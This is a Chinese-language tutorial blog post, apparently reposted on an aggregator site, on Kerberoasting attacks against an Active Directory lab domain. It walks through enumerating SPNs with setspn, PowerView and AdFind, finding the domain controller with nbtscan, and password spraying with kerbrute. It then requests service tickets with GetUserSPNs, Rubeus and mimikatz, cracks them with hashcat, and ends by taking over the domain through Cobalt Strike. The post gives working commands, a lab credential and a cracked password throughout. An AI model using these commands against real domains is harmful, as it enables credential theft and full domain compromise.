域内攻击 -----> Kerberoasting

news2024/10/5 9:51:10

在域中,能拿到账户信息得攻击基本上有四个

  • 域内用户枚举
  • 域内密码喷洒
  • Kerberoasting
  • AS-REP Roasting

对于AS-REP Roasting,我们下一篇文章讲,而前两个,请参考我以前域内横向移动得文章。

那么我们今天就来聊聊Kerberoasting

1.SPN

对于SPN可能大家感觉没有接触过,但是举个例子大家包懂得

setspn -Q */* 

这个命令用来查询域中的注册了SPN的机器和账户

我们可以看见在域中的三台机器都注册了对应的SPN,像我们熟悉的CIFS服务以及HOST,LDAP,通过这些服务,我们才能对对应的主机进行查看,复制文件,运行计划任务等。

但是,只有机器账户才能有SPN吗???   

那包不是的,普通的用户也能注册SPN

2.SPN的注册

通过以下命令,我们可以给机器用户和域用户注册SPN

setspn -U -S HTTP/机器名   用户名      
setspn -C -S HTTP/机器名   机器名

第一条命令,就是给用户进行注册SPN,那么我们来试一下

这样,就是给SEC个用户注册了SEC这台机器的一个SPN,我们再去查看一下

可以看见除了我们刚才设置的SPN以外还有一个krbtgt的也是被设置了SPN

3.ServerHash

我相信你们一定对上面的命令很好奇,甚至有点疑惑,下面我就来解释一下

那上面这个机器的SPN来说,它的ServerHash就是这台机器的哈希,在Kerberos中,ST中的一部分就是用的这个机器的哈希来进行加密的!!

而对于我们刚才在SEC机器上用SEC用户注册的SPN,在Kerberos中,ST中的一部分就是用的SEC这个用户的NTLMhash进行加密的!!

所以,机器注册SPN和用户注册SPN的区别就是Kerberos在TGS-REQ阶段中,当用户发送了一张TGT之后,KDC上的TGS就会去域内查询对应的SPN,并找到对应的哈希加密ST

4.Kerberoasting原理

第一个好理解,我们来看看第二个!

我们知道在TGS-REP中,KDC上的TGS会返回一张ST,但是,其实这张ST,无论用户是否有访问的权限也是会返回的,我们去Wireshark 看看

  • 域控SUBDC.RCE.ORG
  • 域内普通用户 WIN7.RCE.ORG

我们先用一个普通用户去申请一张域控上的ST(即使我们没有权限访问)

kerberos::ask /target:host/subdc.rce.org

然后我们去wireshark查看

然后我们主要看TGS-REP这个数据包

下面这个就是subdc.rce.org的Server哈希加密的ST部分内容,上面就是用的CT_sessionkey加密的一把CS_sessionkey,我们要破解的,就是下面这个用Serverhash加密的内容!

5.SPN的探测

对于Kerberoasting,我们破解的,是用户注册的SPN!!!为什么不是破解机器注册的SPN呢??明明机器的SPN天生注册,域内用户还不一定注册了SPN

  ::: ????

 :::那是因为机器的哈希是十多位的随机数字,一般破不开 ,而且还是随机生成的,所以我们就要破解相对容易破解的用户的哈希!!!

那么怎么探测SPN呢?? 最简单就是通过这一条命令

shell setspn -Q */*

这个是最简单的能获取SPN的方法 

然后就是使用我们的Powerview脚本,这里我采用无文件落地的形式去探测

powershell-import PowerView.ps1
powershell Get-NetUser -SPN

 这个也是可以找到的

当然也包可以用ADFind的啦

对于域内机器

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)" servicePrincipalName

对于工作组机器,你就要知道一个用户的账号和密码,以及域控的位置了

什么?? 你怎么知道域馆在哪 ???  Nbtscan是能扫出来的(精准定位到域馆)

首先我们来一台加入到域,但是处于工作组环境的主机,并且给他上线到CS

然后我们上传NBTscan,并且去扫,就能发现能精准定位到域控

然后就是通过喷洒获取域内用户的密码了,这里常规的插件 都不能对工作组进行操作

所以我们就要使用这款强大的工具  -->kerbrute !!

shell kerbrute.exe passwordspray -d 域名 用户字典 密码

这样,就算我们在工作组也是能通过域内密码喷洒拿到一个用户的密码的 

然后我们就可以用ADFind去查询了!!!

shell Adfind.exe -h 192.168.111.138:389 -u 二级域名\用户名 -up 刚才喷洒出来的密码 -f  "&(servicePrincipalName=*)" servicePrincipalName

成功探测出SPN

·

当然了,如果你能通过喷洒出密码的话,那么其实就不用Kerberoasting这么麻烦了!

6.获取高权限用户的SPN

我们众所周知,我们在域内,最重要的就是找域馆,所以我们就要看看域管理员组有没有注册了SPN的用户!!!  其实就是上面的命令加多一个约束条件

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

这时候我们就能看见Krbtgt的用户,但是它的密码也是随机生成的,我们也不能破解, 

但是不明白为什么,明明我有一个注册了高权限用户的SPN,但是找不出来。。。

所以这也给了我们一个思路,如果发现了一个用户注册了SPN,判断是否高权限还可以通过这届查询这些管理员组进行判断!

7.获取用户ST票据

对于申请ST票据,有很多方法,下面来讲几种

首先我们来一台工作组的电脑

  • 192.168.111.144 STU1$

以及一个域内用户

  • 192.168.111.132 WIN7$ 

1.GetUserSPNs

这个工具强大了,域内或者工作组都能用!!!

但是前提还是要你知道一域内用户的密码

shell GetUserSPNs.exe -request -dc-ip 192.168.111.138 rce.org/win7:hongrisec@2024  -outputfile 1.txt

这样工作组也能成功获取到对应的ST (不指定用户就是所有SPN的注册用户)

2.Rubeus

这个对电脑的.net需要一点配置,所以如果能用,就最好,用不了,就换一种(只能域用户)

shell Rubeus.exe kerberoast /format:john  /outfile:hash.txt

也是能成功拿到 

3.Mimikatz

最后就是我们的mimikatz啦!!!这个工具是真的强大好吧,不过也是只能用于域用户!

mimikatz kerberos::purge
shell klist purge

缺点就是你需要提权,这个就要看对面用什么机器了!!  

然后我们直接去申请票据

mimikatz kerberos::ask /target:web/sec.rce.org
mimikatz kerberos::list  /export

8.破解ServerHash

破解ServerHash,网上有很多的脚本,这里我们采用hashcat!!

hashcat.exe -m 13100 Serverhash 密码字典

由于我本机的Win11不知道为什么用不了Hashcat,所以我就直接贴密码了(你们去破,只要自字典强大,包能破出来的)

password : admin@123

9.通过Kerberoasting控制整个域

由于我们上一步获取到了高权限的SPN,所以剩下的就是无脑上线了!

这里就不在赘述了,CS上点几点就好!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1798277.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

KOL+UGC:解锁品牌内容营销新策略,增强用户参与与互动

在当今数字化时代,品牌与受众之间的互动性和参与感变得至关重要。其中,KOL和UGC(用户生成内容)的结合,为品牌创造了一种全新的内容创作模式。这种模式不仅增强了内容的吸引力,还极大地提升了品牌与受众之间…

Vue3+vite+Tailwindcss 构建自适应页面 暗黑 高亮 主题(带源码)

资源tailwind css:Tailwind CSS Templates - Tailwind UITailwind CSS Templates - Tailwind UITailwind CSS Templates - Tailwind UI 1、安装tailwindcss npm install -D tailwindcss postcss autoprefixer2、安装配置: npx tailwindcss init -p 运…

商城项目【尚品汇】07分布式锁-2 Redisson篇

文章目录 1 Redisson功能介绍2 Redisson在Springboot中快速入门(代码)2.1 导入依赖2.2 Redisson配置2.3 将自定义锁setnx换成Redisson实现(可重入锁) 3 可重入锁原理3.1 自定义分布式锁setnx为什么不可以重入3.2 redisson为什么可…

perccli查看磁盘和Raid卡

1、安装 source /etc/profile chmod 755 /usr/sbin/perccli2、磁盘 perccli /c0 show all3、raid卡 cc perccli /c0 show cc 4、raid卡 pr perccli /c0 show patrolread

【前端Vue】——初识Vue.js

💻博主现有专栏: C51单片机(STC89C516),c语言,c,离散数学,算法设计与分析,数据结构,Python,Java基础,MySQL,linux&#xf…

漏洞挖掘 | 记一次信息泄露到登入后台

这次是项目上遇到的一个洞,打开页面是一个红红的登录页面 这里就不放图了,浓浓的红色气息~ 老样子抓登录包 虽然是明文传输但是爆破弱口令无果 f12大法,审计源代码,在其中一个js文件中发现了这个接口 拼接URL进行访问 感觉有点东…

前端构建新玩法 Vite 上手与思考

# Vite 的定义 Vite 是面向现代浏览器的一个更轻、更快的 Web 应用开发工具,核心基于 ECMAScript 标准原生模块系统(ES Modules)实现。 表象功能上看,Vite 可以取代基于 Webpack 的 vue-cli 或者 cra 的集成式开发工具&#xff0c…

MAX7219(模拟SPI)驱动灯环的简单应用

文章目录 一、MAX7219是什么?二、使用步骤1.硬件1.1 引脚说明1.2 应用电路1.2.1 驱动数码管1.2.2 驱动点阵 2.软件2.1 时序2.2 寄存器2.2.1 掉电寄存器2.2.2 译码模式寄存器2.2.3 亮度寄存器2.2.4 扫描寄存器2.2.5 显示测试寄存器 2.3 初始化2.4 控制左侧灯环特定位…

支付平台界面感知评估

目标: 了解本地用户在本地语言下对产品用户界面 (UI) 的感受和体验: 界面的目的是否对本地用户清晰,并且是否符合本地文化和国家标准;界面中的文本是否正确显示,是否存在语法、拼写或其他错误,包括品牌一致…

Vue3【九】reactive 创建对象类型的响应式数据

Vue3【九】reactive 创建对象类型的响应式数据 reactive() 定义对象类型的响应式数据&#xff0c;可以任何类型的对象 默认开启对象的深度响应绑定 不能创建基本类型的响应式数据 案例截图 案例目录结构 案例代码 Person <template><div class"person">…

IC-Light:图像打光控制和背景融合生产力工具,最全ComfyUI操作指南

IC-Light&#xff1a;图像打光控制和背景融合ComfyUI操作指南 IC-Ligh简介 IC-Light是一款由Controlnet作者lllyasviel创作的最新作品&#xff0c;用于实现操控图像光照效果的项目。当前该项目已经发布了两种类型的模型&#xff1a;文本条件模型和背景条件模型。这两款模型都…

linux驱动学习(七)之混杂设备

需要板子一起学习的可以这里购买&#xff08;含资料&#xff09;&#xff1a;点击跳转 一、混杂设备 混杂设备也叫杂项设备&#xff0c;是对普通的字符设备(struct cdev)的一种封装,设计目的就是为了简化字符设备驱动设计的流程。具有以下特点&#xff1a; 1) 主设备号为10&a…

鸿蒙轻内核M核源码分析系列十七(2) 异常钩子函数的注册操作

本文中所涉及的源码&#xff0c;以OpenHarmony LiteOS-M内核为例&#xff0c;均可以在开源站点https://gitee.com/openharmony/kernel_liteos_m 获取。鸿蒙轻内核异常钩子模块代码主要在components\exchook目录下。异常钩子函数的注册、解注册、异常钩子类型定义在utils\los_de…

【Spring框架全系列】SpringBoot_3种配置文件_yml语法_多环境开发配置_配置文件分类(详细)

文章目录 1.三种配置文件2. yaml语法2.1 yaml语法规则2.2 yaml数组数据2.3 yaml数据读取 3. 多环境开发配置3.1 多环境启动配置3.2 多环境启动命令格式3.3 多环境开发控制 4. 配置文件分类 1.三种配置文件 问题导入 框架常见的配置文件有哪几种形式&#xff1f; 比如&#xf…

Perfectly Clear WorkBench v4 解锁版安装教程 (图像修复增强工具)

前言 Perfectly Clear WorkBench 是一款图像修复工具&#xff0c;可以帮助用户对自己的图片素材进行修复&#xff0c;很多的照片因为拍摄问题&#xff0c;或者设备限制&#xff0c;会导致拍摄效果不好&#xff0c;使用这款软件可以进行一定程度的修复&#xff0c;当拍摄时亮度…

RK3588推理RetinaFace出现问题

RK3588推理RetinaFace出现问题 在RK3588上测试RockChip提供的RetinaFace模型时&#xff0c;出现下面的问题 $ python RetinaFace_pic.py done --> Init runtime environment I RKNN: [02:27:16.501] RKNN Runtime Information: librknnrt version: 1.5.2 (c6b7b351a2023…

图片转pdf在线网站,图片转pdf在线网址,工具软件

在现代办公和学习环境中&#xff0c;图片转PDF的操作已变得日益重要。无论是为了存档、分享还是打印&#xff0c;将图片转换为PDF格式都能带来诸多便利。本文将详细介绍几种常用的图片转PDF方法。 打开 “轻云pdf处理官网” &#xff0c;上传图片。 图片上传完成后&#xff0…

C++STL---stack queue知识汇总

前言 C将stack和queue划归到了Containers中&#xff0c;但严格的说这并不准确&#xff0c;stack和queue实际上已经不再是容器了&#xff0c;而是属于容器适配器&#xff0c;适配器做的功能是转换&#xff0c;即&#xff1a;它不是直接实现的&#xff0c;而是由其他容器封装转换…

SOLIDWORKS认证考试的目的

在当今日益发展的工程设计和制造领域&#xff0c;SOLIDWORKS作为一款功能强大的三维CAD设计软件&#xff0c;已经得到了广泛的认可和应用。为了评估和提升用户在使用SOLIDWORKS软件时的专业技能和能力&#xff0c;SOLIDWORKS公司推出了认证考试项目。本文将深入探讨SOLIDWORKS认…

Docker-compose安装、使用,容器化部署springboot项目

目录 一、docker-compose的安装 1、按官网的方式去安装 2、通过pip进行安装 3、离线安装 二、docker-compose常用命令 三、docker-compose.yml 说明 1.基本结构 四、docker-compose部署SpringBoot项目 1.编写docker-compose.yml文件 2.使用docker-compose启动容器…